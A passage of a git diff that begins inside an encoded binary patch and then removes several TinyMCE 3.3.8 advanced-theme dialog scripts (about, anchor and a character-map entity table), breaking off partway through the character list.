z1ER7=JADOa&<W@Xx()0yNABgric?=+G6QrdkTgexe+)S|e~a#lIsF{O@-V+XW2{Jf zkyVHnE4}V7dcmqWa1Aj4;lv?aM^Imv3#umwdN~Og^MsALFcBvD30z$EnA%!D%$q-j znqK-){#^AYBn{m&=D=gPci~0L*}coU7RzAExYl(@V{6IeI%Gk)yH4f$5r92ZxSj<> z;REs{Av#{hlL~lJ#XL#V@aZMP05FP+F5sbAyy=ajYD7+UV?HY2JXR|N(rMvbW)4n6 zBDiMGlOKp4w#Z`&@;w{g!$-Lj7O-tdU&?@7Y!PyL0N)HV*M*abt7HLj5M>}TOdYgS z5@`mIj%1zyy8puHK2&voig!jpxqtP)bEs*6O%V%hd4VB!UJQZ9lVJDSEGl`Jrai(f z6zJ+l<!c|6#kuI%7ic!2C8^+P@-<wX(lZnuFx3I__z%Kdhez=9(XmjL$Z!~SUU+FF zF9dq>-@KUk!e_OvVqHjti8`!+EqNhac4x5s&fxX^t+~ykgQ5SuyE!<;e1@n3Btfgq z^IvXtb|T}(e7;Fe99<l3S)Ba5$o(u{OcuUPdLmrJ7q%S#`b%{57$$>)Du9quJoH{F zFnvs1m+%6de({3}XH(y=d37Gr&I02^Yj_y6$AlKKCrP0Cbv2~tZY<;uz>imo{o(^F zL{VuHHkS`<xIO!R2X&Muf|~33yWfl*bl;gNMzVy8x5O~YI0PPeV$Obm(>Eh6nUR-_ zA>k0hqt@CA%=FUk%GYY4P|VbKY|&Ijn24c;S^O8dlT*v>U%zX<{Eis-Vf^0@L|B{R zK@27Yp<~5EcnG-~U{u*FVjNKrf_qY7H#vQwq6h+B`Kl#&k_(6cV#p_VG-*Y8WHjpp z`qXn!mxnk&f`li5J4{%GyvQBiTTxeta$VGqgm}dlN#ntebAjhfNR}|`OPUR$&c*|9 z0vXb$;Ibe6lU*oWH7sij%sY;A6!2G@@rVlt-Xpf=K&vew1CT)xRp)80ri<oQUiv{; z*vCA-&>|*65d#x2*#s0C1~n3o>_sfSy65iLtr(F^n6@z&7dg4Q`#wp<-(B7?ZEhmG zA@oa%-Mp`%^{oOiNxO)1QC#5?ePiW~N*5WJn0&61I{E8c*MnAPGF6+7zV)aTXu48n zD<_8Q+$uC*baOuVGzG{d^~7{8m58fL<h$XAcWF36b9(d91L68iPkZO8)OdCOws3LP zl<&BfKuoN{&Sdf+KWs=$RyA`wr;SQyb{?oNpZnaWx*e3mo~-wf!k&%CJ9_rq(sDoI zP<}upY|qU3J6ZiP#bF78N^Q2q;*Ei-jRDs2UfjE9k3Y<1)p&Md_+kTfsXz8{tbZv= zCw>sT%vW1pS<RKys&^eL3QzmFw&WK(DS1HN5*;$XztX+px#R$P1oC8OK^REXlmozX zFtm(6vYty7NFRSb9(~F5gOCJ-C+BI=gfu~su2sSSJ&CQVZ6V9f$k<~ajn{#VQl{;Y zJ6XUEagCBHhJ^7vP_7SEHVrEzEVel`U1zmgC?sz_!0u54)>PCB)9_>4uck>jDkiQ> zkJPfI;wPFRKD9$*{A9y*d5FhjIe(ZyU$jytJ5X^1^2nuvm|`MLgv>N7i*7bWUeC&! z-|c|?lq@(p9lA9iE#@LSUn8RkC7-8<%64-kRE<-X3r=9i)bdUyk*P3?MPiJw^X<_$ zkAs`pG>N^7m5KE-Mny23f7m64G$G;{ODUY`ZzS)_;G(b^8nLTZD7W8H2>0tA!V>Nh z?8`Do1k=^XAVt%0kmT#~5w8&#5M4iS|Kae}Ts<06SXMJlSfj|%(CK`E+G!nHx(#P# zpR0yVliaoB>T!6MLef0_xSU~f{W-1Fl_IU{<Xpr2-J!X+49uN*s0%K4tvE2NlOJnB zS8}O(JJfhTbc$S*t5%{A8t@@(?M8q>t=?(ZTe<4Szw{QO+Y8zklRkbn$ubZ4q|&IK zC0Hryz&C#S(0noXvy#m1Hq|V9!=FGlGG<fjn!RipxjZhbM^%JGW1HoWz7y~wN|7;P z#U6pHK(@SI#^HUngC3H7^lk-Y?iZBo3G)bM*mC@&yMJMoSGCl3T)I4SxYWSeBSP}e z-Q_8T6C^!m&Mwik3p=Bt#wiN0m{EePMH;^<OV{7&jJgFQrjqWJz2orrtia+KnsjtA zenO=8y{4FjW~EK`wy))(qr0m&)u7KkuW|tJL%XI^K&i%($cBRT!86|v`@H_UsnArE z^07_-Uh3a7?hZ=|uLS35RA*hQ4B-_j`iap+<A-6QdC9Z*x84nAr}Z78WC!3NL0|;q z-~sJ0N4fg0jNQotqV;SWVFu6IV1B?u<eXG(bq2hU!jrf&UkvH-8kHidpjVXpqU6k` zn8^rXLZz)_7!Rd%(n>Ub6~vt+v}dh2qxwEPZViQ+OTDZ7Pgq^P)v<=w0BD9>>v0Um zDkmtJCIdNg6kd<EjCXLQ!--gJ(G2O1Kd&(@&`_`Oj2?BVQfU2|Jz_4h?|>~H)E%(V zQu~RKFkBH5{PNQ!w_y}H;320Y_6AATKoi0aej~VUN1nlWx>SLkQ_<m_^h0n3R*a$b zK%HKv#I4Z$$p|e;CM@Y~qocEDsW>|Vp;qMdcP>9-&>YYZCFX|<jBBIvd2iv9d^ZaC zSvyZQFya=?p;IwJBHI*W5=9%KBW|hYmw4D13mLZ+J&cVu!#sbx_goUVfxlkD&|>*= zYx9XX0fibkRJSeDaIVVn^q}FD1&qX;>M^u9+GY{oWyGsGehQ9Mo}tjgHZQ1VYdfO1 zrZbcn5^;`U4yLjVN?N91{O*8^m3s2tN#rG=vZId5PckN^8f#GBmWDOG4b1;Giy|5V zZG4_WeR~LBv^(3CzWgJASUalN9v19`;dc#_#apP;{`5sghI5l?p~4~=siPbwTw5H5 z+GibRQcKM^FocK8QIFbej6da{`*$1K{^{q8L&di>qQG|s4-;}Nx<{WByY;Q6`LIDM z^S&szm3lZf%%%G&%-*W4ZhvK+DL-)jEETRoo`q{_14-V@14)Ayx11?iQZq0Tn3DxG z<Ea=9P<D8pEak1ukj4%OSwnEO$Wh42Ze0D+OqjlDVun<5j6y)Pz3L)|sy+--aT!*v ziwZhR<RaC;mFiZqno!st+x!Q;_UTppgGQk?1-rvuM?CTvNzh)F>xUe`Ns6#tGAN_8 ze_UOD9iyAS42fMkCoMZLl5V;TwMRb??<PB@>U|Y89dbmg@pBwfKIj%NqNtTA%-q1a zYQiJu9feiwTDGUw%|C5=ME}we#qDF41U+xgJvr(UY{(mPg4N5qzTF2N_PS`xi@$Qm zm7ySjm*ikv!0*dfIuKb=VibmSInV9DP^n}j^v+bo!KjIn7lfLYC$9CDq$t}?;WEmJ z0)sv7OP<r=_gVIG)=O0Tz-y5Iq=xo2DTC-0l_RRfzJ^Nfn3K<v$~Q1h$&_q@zy^JU zz)`l2>%vo)YwuH^BO<FWzcpH+EI5t33F1VxKAlwOm4cGKc<=DtFge@9IigQgbEnp9 zl*V#^_pS|Cv_`ZgmZEgU;V}&#amg_FnvjYk5#W7(WYY`*LX2!*N!4grNOvjNF%B7; zQ*WN?ro;Oaq~6vWi^=A|1mR!Ffn1t<=kjk3S<FJxazFmo#fQ;|VSa6n`y#fuh5n#I ziXvqn#zUSm9TdRUhYb5y(9PcB!J!PlVk+DsnP>lOC1cpM9#z7!x^{>gl$FEldbI60 zkgrDtIK=lIx=Y+UL>O|z8g_tyH2wq#sghrN6oFD`2rBq55bVE<57oQQ6fr6P;e+E2 zOLoseChS}Zcg8ZMUe+#J**32~z7-creMOMJFFVV!UMiv_YXsW}!LLu!h_GDSSX=RD zp2GSRD~F?2oORUR+8r}ww6G-&6G5SgGr>FA=QG5!wbv{U#I}0=0AYKm4~!37`;aah zHmnPSFoS~rvH2^{zO(NBuuQ{6)Z$KSSw`OVm^@MzIP4kdVX-a#mh~Bwf5pz;FPWE| zvJS(UgD({f2CqC+iTqE!IwA*x4DdwUp?vbg1C-t6?t9*$d5M>2+_Cz91cfJmWhcgH z*-CcoJ%l+O(;yVkA!z_V!lFx&m0jR0Aw`zUSBA^g){=Rm=pyl8$vFV1HM);<dyYXT z=ZS7!@lwBAsxA5&e_qeAuW$i_8Ql|dwK4QJI&@Yv>}ZZkH2sidfpK@a@hHraOxqDn zSBb_bl>pVeY%@06;K)uN)?loc(s3K{8;6uAk|yBu98jl=JP(eLy2$(t7cx@9agRj~ zQgGwKRRsuTUvjGykMrf3sPau}0h&l9X!!@USOta$VTy#k78^D@H$l7Lj4XBAi(e&! zn<UQXQB6pQ{HqcQ%%R*HLt1->EOA3tyM{{nL$<*~_EHZ@SsAa2vaj^fVEldc?R%fA zHF&WecySnk<ZLCNm+sFHq3G#H13EcCfYnWmW3Rt?&%q5^L*71H3TVJVX>qbbx%=cV zNI94GM0Ycka<ioPRktQGmF8h$gl)HHvrv4h2F*+-Szm{MP9Vc}jQ6E;)kKoFIWZZ2 z(?B55UqGZC!JFTbAJrq7ZzmdHs<0$VP8LOdw<95WopEAcwm7d}*aacbQ>PnnK{Zpx z(-I-OP4!3N2uFOaWa^z#Q>#M90nZ?-#oaWQ>e~F%pgJIa=@as@qR^FHcO%*7rpkmi zgq*AXjAfCr4gS;)v+;3)^G!$Rn=I_>O5AI0i!1`z&Nk$$BR%o-wWFAld;}XeQCjN+ z8Gv__QHN4cn+cY&){LLCbd%li1KpPUX76>USk%fISx9oyH`~)O9qF<ibOOdkhv;?- zc7}^qpk~zhW8;}bOeJSD0&{Ag(ftU_T`szA_MdZt^svF+r2w)75S@dbGRMm1Q2!ZJ z?0m-g(=;9PvQkQ8>3nB1zmsm7T@wvrO*6*FGCp>n7bvpIB`c|#(K%j3AYdMy$Q(TT zZ(Fklef*KKT;nZS=)?p~dj1h5RRWzMjUK~VtU|toF5P+10s<^b#<bp3QQF9h;wWTJ zwh|X>)(=-@Bhae@SpbN@Fo@9z(Gp;I98lx~Hh-poGc7NuNVpv-r$$0^soNwO9>pHQ z_*@Wr$im*?9`Gi?wsQwkxCkT(cC96q!iDeYNq4*`??|&w?olIiYcLt;&CFv&05|V} zV<G+g85G`wbe>J*2AIqS>*yJf^Gt-sOoL6P^s0p;YhNrOGiEX8(}&Ds{RpLAgh~!d z1>2g%qlYe_Orq~=MFXNlxWLGNgie9uDEd0xu!L2ZG?N}t=@1A=6S%;i6qp<rklWlQ zS0Y5+)h`cGT_8|(72NJ`&alNs2aKlYm}e2$n7q+*&7-BVa4k~?ma1e3P$z10t$s1+ z+8T4-ZclI%PxIZ@Q}fQV+g{!nD{y@HIQF4mo%2@v_9_h4-#J&vR2(7q#B0fihkt@3 z_#y(F>mkvPeX@lfji0|_j_%Y1r=4YYOmyWSlsBJfZTc#+eOf!7?EanC=?{R(6WztT z|FpXV4o=i?T^=cLY<^GtWA?xwv^KXao!nq^wTPGs+JysX*9<9q_J}R^Uv0DMCL0?k z3n~$qN`@edhyXdrrb_?3!x#e&vLLhj_+MY|KKL;%%KwtvrGgTb4Yvr4h-D?P>^)dY zMk7XN<yYz2l^~u^&G*>%(VMELu<dilRcXF80XM~$n!=b)X~|9*Xxv~A-Z5VVkr3)< z1S6S8A7lM<ZviwWD1bLrTS*^KvlZjRq+ej#_i*7pK{+>eIUD^mK(h@t5q4bgXI_v* z$@AVj&--6IZ;lS?$b3Gq|9RKpX?YIpmG(sq(~Dw!YD5IawFJHcvn$9v69<5P6qqU! z)F&dRk5QxX!y_y^+2|Q<C}g_8^GLJ379Vpo0^=A)mEwA;no9E}yt44K-|{mB{&<I{ zScZNj+K4qpFX>Av-iE`=NhiNFe|(od??vGEm8?1hYJ1yk@879ij$++FQ9&Y==2&n! zs>*xRg^?DGalKT-TJX+`#W<4@+W#m50BEnyk8Lu1OET%34C{Sh(KpPAJNqx%Ei5eE z4NYdeOr-@P#bsp!;1&zT1y7qdA6H`N<T{pi5J1~69+7!Lbc+}H;+_zh8YY`%<Verr z)dg4M{%h9+g)EP~8Nb==Ec7;m^4B;1!BQw&bCb^K3<hLQXZ=i|bt4*1j9a#F+AoC! z(9VEo2=L)pS2N5~Mp;=C%ql1cy~`P3A_M*&%K_Mz^+m&jWnT-@bI66sh%4p`aMmNO z>)}Vn7{*Xxg>}|OG~KnbQOOjk5{<y-(9U8I`#4^$<ea|%)2nLdji#M%e?C%~`8N)* ztQRzw94fmhqIMo;!pcZ&fvr5w#j=q>#ASh6P%RhM<rZY(AEX(3SS9)J$OZaMqRQ*d zT^nt0ZgAcNWxb)3-wf8hX@=f*ZGT&^NtNHEA_MXMm3L}5jAJ<&N*J_tf20^cSXF5T z_)A4O-qa9zH<p-TAI%Wkq|P6fT6mEoe+zLUf*L(fKd~6%fWO`tOhr-Ph-ikX_Ddo; zN0&NFQI3A|46LnundZ9s$quWbZLZzTh-)T^I=&ICyN#lp7?~a3F8g!7Kb}J*yfUUy zZKyN^D_>o^HqqmXq|M_j@@wST@MAfz5oZmKTys+Iey?nSxsnuqHWf6z{95x#?!oQ3 z1j=2tH6(Nvtkqi@BYmh1{jjW1R_Ga~hRKw+kI|xs6;i2k*Oz2Gs0tPsb&4ii(WU&+ z`^D!UI@2sS)v0PI@xjef^#Io2Jd1tTacFji8HI@Pp7(Y{?yAQ*V}fQ~UQ&EtuOtFz zv_GX+A|9^5HG6%cn%?IN1y$ZTI{745rIKnUS|}L}$NF2hXw&V<L+J-{Q?ENWkurqm zSI2qu`UlL?75ITiu{B4iRT|@^oX?9%y9BQ;tIYm#T0*@|=Y6i4!@iatuQ63vptU@u zWs<D1ekI30-2CtTBW$v1)aRG~jlIBVZNmA(s5RviyINi-gRKNNm;>*{7z=gwIKt#_ zwr)xFj&ZNwkGx`DU;<Z(fsVP}(U%=U%!vTw;tGxV5WB6?yCCx5Jyt*Ky>O=~zs3>3 z5VW5kaC@5OHZSE?sd;bi{P^YTu_9fcL>sn`jOH%>C)7fUsSTw%bk{+VaSD_;S+Nhx zp-WA-W3o6F@9lES{!pM+XZ#4ZRdN01JSLtCHZEy;9sl<~O22UX*p8_?suk<w$)UTZ z;&n&jzZ<S|Zm;JYp{a}_u$5HT%?!coTAcVMb@qDv)3e9$=!Cr$3HwaS7Mk{EZ2~V? z2^J=0F`LxQ{}T4q&pDsLSXG?!bv$WzaKrYVkAB7L4@T=_?4t{5YtmgCa;-SmhBfI{ zoQ&%Vo%Gp8CDBtq(aZ9ir+zohCeimqqF;KVe_>)kMPguUV$i+B;HkurSBart5)TRz z$zn-iDoKa*lfo^NBHWV>A54lokrb7l6kV8fq#`M%HR<TRq}ZvXW3Q5qe@QxV<y+l_ zkLvF;Wq&6nSe`oRek$?csiYI9_BsG@mJ$b(`$`?Nt%+1jNoD}o?bMf3>4H;KvE&Su z&A`@-(3~H?w0~qd((JoI9UkleK11NnKS*m$&bybKKb2h2nvCEh84Y47Q5YF*h7Kp& z@3gvgGQDsy`SOX=SJF?H6#fhqJH^oYQR+z3;ZdVG*(S~s&W==*ocL0elxqEy8q1X0 zFVZsC_SYZ$Rd?^F4uDd?Gc=Ym{HfW!)tj}iQf_`pX%(bYyVHo;jFUVdx*MUuW4LpE znXzg9L<GAqwWlJrxAk}U6=c9Bx_>0~&a2;d-=*HQ%+c@%W$!S2crXbn`aw2Ym5Ls2 zPaQ2x8>>hgANghtWQqA_Hl`rXR3PnJ;6Izvrd7_&=%1O5%Bgoh(@=4zrkfE0AyI7F zok(vNHp89pVRq`wi&tm9yfjIn`$h5mHt9^4g(z?P{Q<|IUoQ`yeS6~UyC0_zob1AM zD%1U?Kga!<!&U(2@4GK&zX;Cqvy;jSPhG9xJB&`PJk1K4-{PN0|B;@)`7SY8ketRk zJLyVwcZ9`kB5VOnhyW$AE1HiVWME|sV^{gALpc&!p3Tu~YQy>RCh?zE*VIRuY7Q56 z9a+~HFW%{QtHZzMDZRunYP`9Pa#>F=_@rC(`>$HuO6zP1-IxvSnOf&7hQ~fgse=cN z8isB88#|vg2X@7O{_ss_o_%QKg6`4pyPkE#JiT@7<9FS~?)Y~zEk}Roz3flXM<D>S F{{gR&nqvR} diff --git a/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/js/about.js b/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/js/about.js deleted file mode 100644 index 5cee9ed..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/js/about.js +++ /dev/null @@ -1,72 +0,0 @@ -tinyMCEPopup.requireLangPack(); - -function init() { - var ed, tcont; - - tinyMCEPopup.resizeToInnerSize(); - ed = tinyMCEPopup.editor; - - // Give FF some time - window.setTimeout(insertHelpIFrame, 10); - - tcont = document.getElementById('plugintablecontainer'); - document.getElementById('plugins_tab').style.display = 'none'; - - var html = ""; - html += '<table id="plugintable">'; - html += '<thead>'; - html += '<tr>'; - html += '<td>' + ed.getLang('advanced_dlg.about_plugin') + '</td>'; - html += '<td>' + ed.getLang('advanced_dlg.about_author') + '</td>'; - html += '<td>' + ed.getLang('advanced_dlg.about_version') + '</td>'; - html += '</tr>'; - html += '</thead>'; - html += '<tbody>'; - - tinymce.each(ed.plugins, function(p, n) { - var info; - - if (!p.getInfo) - return; - - html += '<tr>'; - - info = p.getInfo(); - - if (info.infourl != null && info.infourl != '') - html += '<td width="50%" title="' + n + '"><a href="' + info.infourl + '" target="_blank">' + info.longname + '</a></td>'; - else - html += '<td width="50%" title="' + n + '">' + info.longname + '</td>'; - - if (info.authorurl != null && info.authorurl != '') - html += '<td width="35%"><a href="' + info.authorurl + '" target="_blank">' + info.author + '</a></td>'; - else - html += '<td width="35%">' + info.author + '</td>'; - - html += '<td width="15%">' + info.version + '</td>'; - html += '</tr>'; - - document.getElementById('plugins_tab').style.display = ''; - - }); - - html += '</tbody>'; - html += '</table>'; - - tcont.innerHTML = html; - - tinyMCEPopup.dom.get('version').innerHTML = tinymce.majorVersion + "." + tinymce.minorVersion; - tinyMCEPopup.dom.get('date').innerHTML = tinymce.releaseDate; -} - -function insertHelpIFrame() { - var html; - - if (tinyMCEPopup.getParam('docs_url')) { - html = '<iframe width="100%" height="300" src="' + tinyMCEPopup.editor.baseURI.toAbsolute(tinyMCEPopup.getParam('docs_url')) + '"></iframe>'; - document.getElementById('iframecontainer').innerHTML = html; - document.getElementById('help_tab').style.display = 'block'; - } -} - -tinyMCEPopup.onInit.add(init); diff --git a/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/js/anchor.js b/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/js/anchor.js deleted file mode 100644 index 7fe7810..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/js/anchor.js +++ /dev/null @@ -1,37 +0,0 @@ -tinyMCEPopup.requireLangPack(); - -var AnchorDialog = { - init : function(ed) { - var action, elm, f = document.forms[0]; - - this.editor = ed; - elm = ed.dom.getParent(ed.selection.getNode(), 'A'); - v = ed.dom.getAttrib(elm, 'name'); - - if (v) { - this.action = 'update'; - f.anchorName.value = v; - } - - f.insert.value = ed.getLang(elm ? 'update' : 'insert'); - }, - - update : function() { - var ed = this.editor, elm, name = document.forms[0].anchorName.value; - - tinyMCEPopup.restoreSelection(); - - if (this.action != 'update') - ed.selection.collapse(1); - - elm = ed.dom.getParent(ed.selection.getNode(), 'A'); - if (elm) - elm.name = name; - else - ed.execCommand('mceInsertContent', 0, ed.dom.createHTML('a', {name : name, 'class' : 'mceItemAnchor'}, '')); - - tinyMCEPopup.close(); - } -}; - -tinyMCEPopup.onInit.add(AnchorDialog.init, AnchorDialog); diff --git a/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/js/charmap.js b/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/js/charmap.js deleted file mode 100644 index 8c5aea1..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/js/charmap.js +++ /dev/null @@ -1,335 +0,0 @@ -/** - * charmap.js - * - * Copyright 2009, Moxiecode Systems AB - * Released under LGPL License. - * - * License: http://tinymce.moxiecode.com/license - * Contributing: http://tinymce.moxiecode.com/contributing - */ - -tinyMCEPopup.requireLangPack(); - -var charmap = [ - ['&nbsp;', '&#160;', true, 'no-break space'], - ['&amp;', '&#38;', true, 'ampersand'], - ['&quot;', '&#34;', true, 'quotation mark'], -// finance - ['&cent;', '&#162;', true, 'cent sign'], - ['&euro;', '&#8364;', true, 'euro sign'], - ['&pound;', '&#163;', true, 'pound sign'], - ['&yen;', '&#165;', true, 'yen sign'], -// signs - ['&copy;', '&#169;', true, 'copyright sign'], - ['&reg;', '&#174;', true, 'registered sign'], - ['&trade;', '&#8482;', true, 'trade mark sign'], - ['&permil;', '&#8240;', true, 'per mille sign'], - ['&micro;', '&#181;', true, 'micro sign'], - ['&middot;', '&#183;', true, 'middle dot'], - ['&bull;', '&#8226;', true, 'bullet'], - ['&hellip;', '&#8230;', true, 'three dot leader'], - ['&prime;', '&#8242;', true, 'minutes / feet'], - ['&Prime;', '&#8243;', true, 'seconds / inches'], - ['&sect;', '&#167;', true, 'section sign'], - ['&para;', '&#182;', true, 'paragraph sign'], - ['&szlig;', '&#223;', true, 'sharp s / ess-zed'], -// quotations - ['&lsaquo;', '&#8249;', true, 'single left-pointing angle quotation mark'], - ['&rsaquo;', '&#8250;', true, 'single right-pointing angle quotation mark'], - ['&laquo;', '&#171;', true, 'left pointing guillemet'], - ['&raquo;', '&#187;', true, 'right pointing guillemet'], - ['&lsquo;', '&#8216;', true, 'left single quotation mark'], - ['&rsquo;', '&#8217;', true, 'right single quotation mark'], - ['&ldquo;', '&#8220;', true, 'left double quotation mark'], - ['&rdquo;', '&#8221;', true, 'right double quotation mark'], - ['&sbquo;', '&#8218;', true, 'single low-9 quotation mark'], - ['&bdquo;', '&#8222;', true, 'double low-9 quotation mark'], - ['&lt;', '&#60;', true, 'less-than sign'], - ['&gt;', '&#62;', true, 'greater-than sign'], - ['&le;', '&#8804;', true, 'less-than or equal to'], - ['&ge;', '&#8805;', true, 'greater-than or equal to'], - ['&ndash;', '&#8211;', true, 'en dash'], - ['&mdash;', '&#8212;', true, 'em dash'], - ['&macr;', '&#175;', true, 'macron'], - ['&oline;', '&#8254;', true, 'overline'], - ['&curren;', '&#164;', true, 'currency sign'], - ['&brvbar;', '&#166;', true, 'broken bar'], - ['&uml;', '&#168;', true, 'diaeresis'], - ['&iexcl;', '&#161;', true, 'inverted exclamation mark'], - ['&iquest;', '&#191;', true, 'turned question mark'], - ['&circ;', '&#710;', true, 'circumflex accent'], - ['&tilde;', '&#732;', true, 'small tilde'], - ['&deg;', '&#176;', true, 'degree sign'], - ['&minus;', '&#8722;', true, 'minus sign'], - ['&plusmn;', '&#177;', true, 'plus-minus sign'], - ['&divide;', '&#247;', true, 'division sign'], - ['&frasl;', '&#8260;', true, 'fraction slash'], - ['&times;', '&#215;', true, 'multiplication sign'], - ['&sup1;', '&#185;', true, 'superscript one'], - ['&sup2;', '&#178;', true, 'superscript two'], - ['&sup3;', '&#179;', true, 'superscript three'], - ['&frac14;', '&#188;', true, 'fraction one quarter'], - ['&frac12;', '&#189;', true, 'fraction one half'], - ['&frac34;', '&#190;', true, 'fraction three quarters'], -// math / logical - ['&fnof;', '&#402;', true, 'function / florin'], - ['&int;', '&#8747;', true, 'integral'], - ['&sum;', '&#8721;', true, 'n-ary sumation'], - ['&infin;', '&#8734;', true, 'infinity'], - ['&radic;', '&#8730;', true, 'square root'], - ['&sim;', '&#8764;', false,'similar to'], - ['&cong;', '&#8773;', false,'approximately equal to'], - ['&asymp;', '&#8776;', true, 'almost equal to'], - ['&ne;', '&#8800;', true, 'not equal to'], - ['&equiv;', '&#8801;', true, 'identical to'], - ['&isin;', '&#8712;', false,'element of'], - ['&notin;', '&#8713;', false,'not an element of'], - ['&ni;', '&#8715;', false,'contains as member'], - ['&prod;', '&#8719;', true, 'n-ary product'], - ['&and;', '&#8743;', false,'logical and'], - ['&or;', '&#8744;', false,'logical or'], - ['&not;', '&#172;', true, 'not sign'], - ['&cap;', '&#8745;', true, 'intersection'], - ['&cup;', '&#8746;', false,'union'], - ['&part;', '&#8706;', true, 'partial differential'], - ['&forall;', '&#8704;', false,'for all'], - ['&exist;', '&#8707;', false,'there exists'], - ['&empty;', '&#8709;', false,'diameter'], - ['&nabla;', '&#8711;', false,'backward difference'], - ['&lowast;', '&#8727;', false,'asterisk operator'], - ['&prop;', '&#8733;', false,'proportional to'], - ['&ang;', '&#8736;', false,'angle'], -// undefined - ['&acute;', '&#180;', true, 'acute accent'], - ['&cedil;', '&#184;', true, 'cedilla'], - ['&ordf;', '&#170;', true, 'feminine ordinal indicator'], - ['&ordm;', '&#186;', true, 'masculine ordinal indicator'], - ['&dagger;', '&#8224;', true, 'dagger'], - ['&Dagger;', '&#8225;', true, 'double dagger'], -// alphabetical special chars - ['&Agrave;', '&#192;', true, 'A - grave'], - ['&Aacute;', '&#193;', true, 'A - acute'], - ['&Acirc;', '&#194;', true, 'A - circumflex'], - ['&Atilde;', '&#195;', true, 'A - tilde'], - ['&Auml;', '&#196;', true, 'A - diaeresis'], - ['&Aring;', '&#197;', true, 'A - ring above'], - ['&AElig;', '&#198;', true, 'ligature AE'], - ['&Ccedil;', '&#199;', true, 'C - cedilla'], - ['&Egrave;', '&#200;', true, 'E - grave'], - ['&Eacute;', '&#201;', true, 'E - acute'], - ['&Ecirc;', '&#202;', true, 'E - circumflex'], - ['&Euml;', '&#203;', true, 'E - diaeresis'], - ['&Igrave;', '&#204;', true, 'I - grave'], - ['&Iacute;', '&#205;', true, 'I - acute'], - ['&Icirc;', '&#206;', true, 'I - circumflex'], - ['&Iuml;', '&#207;', true, 'I - diaeresis'], - ['&ETH;', '&#208;', true, 'ETH'], - ['&Ntilde;', '&#209;', true, 'N - tilde'], - ['&Ograve;', '&#210;', true, 'O - grave'], - ['&Oacute;', '&#211;', true, 'O - acute'], - ['&Ocirc;', '&#212;', true, 'O - circumflex'], - ['&Otilde;', '&#213;', true, 'O - tilde'], - ['&Ouml;', '&#214;', true, 'O - diaeresis'], - ['&Oslash;', '&#216;', true, 'O - slash'], - ['&OElig;', '&#338;', true, 'ligature OE'], - ['&Scaron;', '&#352;', true, 'S - caron'], - ['&Ugrave;', '&#217;', true, 'U - grave'], - ['&Uacute;', '&#218;', true, 'U - acute'], - ['&Ucirc;', '&#219;', true, 'U - circumflex'], - ['&Uuml;', '&#220;', true, 'U - diaeresis'], - ['&Yacute;', '&#221;', true, 'Y - acute'], - ['&Yuml;', '&#376;', true, 'Y - diaeresis'], - ['&THORN;', '&#222;', true, 'THORN'], - ['&agrave;', '&#224;', true, 'a - grave'], - ['&aacute;', '&#225;', true, 'a - acute'], - ['&acirc;', '&#226;', true, 'a - circumflex'], - ['&atilde;', '&#227;', true, 'a - tilde'], - ['&auml;', '&#228;', true, 'a - diaeresis'], - ['&aring;', '&#229;', true, 'a - ring above'], - ['&aelig;', '&#230;', true, 'ligature ae'], - ['&ccedil;', '&#231;', true, 'c - cedilla'], - ['&egrave;', '&#232;', true, 'e - grave'], - ['&eacute;', '&#233;', true, 'e - acute'], - ['&ecirc;', '&#234;', true, 'e - circumflex'], - ['&euml;', '&#235;', true, 'e - diaeresis'], - ['&igrave;', '&#236;', true, 'i - grave'], - ['&iacute;', '&#237;', true, 'i - acute'], - ['&icirc;', '&#238;', true, 'i - circumflex'], - ['&iuml;', '&#239;', true, 'i - diaeresis'], - ['&eth;', '&#240;', true, 'eth'], - ['&ntilde;', '&#241;', true, 'n - tilde'], - ['&ograve;', '&#242;', true, 'o - grave'], - ['&oacute;', '&#243;', true, 'o - acute'], - ['&ocirc;', '&#244;', true, 'o - circumflex'], - ['&otilde;', '&#245;', true, 'o - tilde'], - ['&ouml;', '&#246;', true, 'o - diaeresis'], - ['&oslash;', '&#248;', true, 'o slash'], - ['&oelig;', '&#339;', true, 'ligature oe'], - ['&scaron;', '&#353;', true, 's - caron'], - ['&ugrave;', '&#249;', true, 'u - grave'], - ['&uacute;', '&#250;', true, 'u - acute'], - ['&ucirc;', '&#251;', true, 'u - circumflex'], - ['&uuml;', '&#252;', true, 'u - diaeresis'], - ['&yacute;', '&#253;', true, 'y - acute'], - ['&thorn;', '&#254;', true, 'thorn'], - ['&yuml;', '&#255;', true, 'y - diaeresis'], - ['&Alpha;', '&#913;', true, 'Alpha'], - ['&Beta;', '&#914;', true, 'Beta'], - ['&Gamma;', '&#915;', true, 'Gamma'], - ['&Delta;', '&#916;', true, 'Delta'], - ['&Epsilon;', '&#917;', true, 'Epsilon'], - ['&Zeta;', '&#918;', true, 'Zeta'], - ['&Eta;', '&#919;', true, 'Eta'], - ['&Theta;', '&#920;', true, 'Theta'], - ['&Iota;', '&#921;', true, 'Iota'], - ['&Kappa;', '&#922;', true, 'Kappa'], - ['&Lambda;', '&#923;', true, 'Lambda'], - ['&Mu;', '&#924;', true, 'Mu'], - ['&Nu;', '&#925;', true, 'Nu'], - ['&Xi;', '&#926;', true, 'Xi'], - ['&Omicron;', '&#927;', true, 'Omicron'], - ['&Pi;', '&#928;', true, 'Pi'], - ['&Rho;', '&#929;', true, 'Rho'], - ['&Sigma;', '&#931;', true, 'Sigma'], - ['&Tau;', '&#932;', true, 'Tau'], - ['&Upsilon;', '&#933;', true, 'Upsilon'], - ['&Phi;', '&#934;', true, 'Phi'], - ['&Chi;', '&#935;', true, 'Chi'], - ['&Psi;', '&#936;', true, 'Psi'], - ['&Omega;', '&#937;', true, 'Omega'], - ['&alpha;', '&#945;', true, 'alpha'], - ['&beta;', '&#946;', true, 'beta'], - ['&gamma;', '&#947;', true, 'gamma'], - ['&delta;', '&#948;', true, 'delta'], - ['&epsilon;', '&#949;', true, 'epsilon'], - ['&zeta;', '&#950;', true, 'zeta'], - ['&eta;', '&#951;', true, 'eta'], - ['&theta;', '&#952;', true, 'theta'], - ['&iota;', '&#953;', true, 'iota'], - ['&kappa;', '&#954;', true, 'kappa'], - ['&lambda;', '&#955;', true, 'lambda'], - ['&mu;', '&#956;', true, 'mu'], - ['&nu;', 